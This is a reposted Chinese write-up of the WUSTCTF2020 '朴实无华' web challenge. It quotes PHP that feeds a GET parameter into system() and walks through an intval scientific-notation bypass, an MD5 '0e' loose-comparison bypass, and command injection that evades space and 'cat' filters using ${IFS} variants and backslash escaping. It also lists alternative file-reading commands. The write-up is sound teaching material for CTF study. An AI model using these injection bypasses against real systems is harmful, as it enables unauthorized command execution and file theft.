当前位置: 首页> 健康> 美食 > [WUSTCTF2020]朴实无华

[WUSTCTF2020]朴实无华

时间:2025/7/9 4:31:31来源:https://blog.csdn.net/beiweixiaotian66/article/details/140995411 浏览次数:0次

文章目录

  • [WUSTCTF2020]朴实无华
    • level1
    • level2
    • level3

[WUSTCTF2020]朴实无华

image-20240802173809863

查看robots.txt

访问啥也没有

image-20240807153440543

image-20240807153508999

然后抓包,结合上面的因为不能识别头部信息,可以考虑是不是和header有关,访问/fAke_f1agggg.php并且抓包

image-20240807154104305

看到有个Look at me

然后访问一下

image-20240807154210949

乱码,使用修复文件编码

在火狐中,更多工具 ->定制工具栏里面找

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";}else{die("金钱解决不了穷人的本质问题");}
}else{die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?> 

有三层绕过

level1

先看第一层绕过,是对intval这个函数的绕过,intval获取变量的整数值,可以看到有个科学计数法,我们试试用科学计数法绕过一下

image-20240807155103913`

?num=2e4

image-20240807155635927

level2

第一层绕过,看看第二层

第二层是个md5绕过

传入的值与md5加密后的值相等

可以用0e215962017,这个值MD5加密后也是0e开头

image-20240807160058590

level3

看看第三层

有个str_ireplace函数就是str_replace忽略大小写

str_replace(array|string $search,array|string $replace,string|array $subject,int &$count = null
): string|array

该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果

image-20240807160448913

这道题就是将get_flag里面的cat全部替换成wctf2020,就是不能直接使用cat

先用ls或者dir查看目录

image-20240807160846066

应该是在最长的目录里面

可以使用\的办法,这个题还要将空格进行绕过

绕过空格的方法:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

绕过cat可以使用\,单引号,双引号绕过,也可以使用别的读取函数

more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag得到flag

image-20240807161452598

关键字:[WUSTCTF2020]朴实无华

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: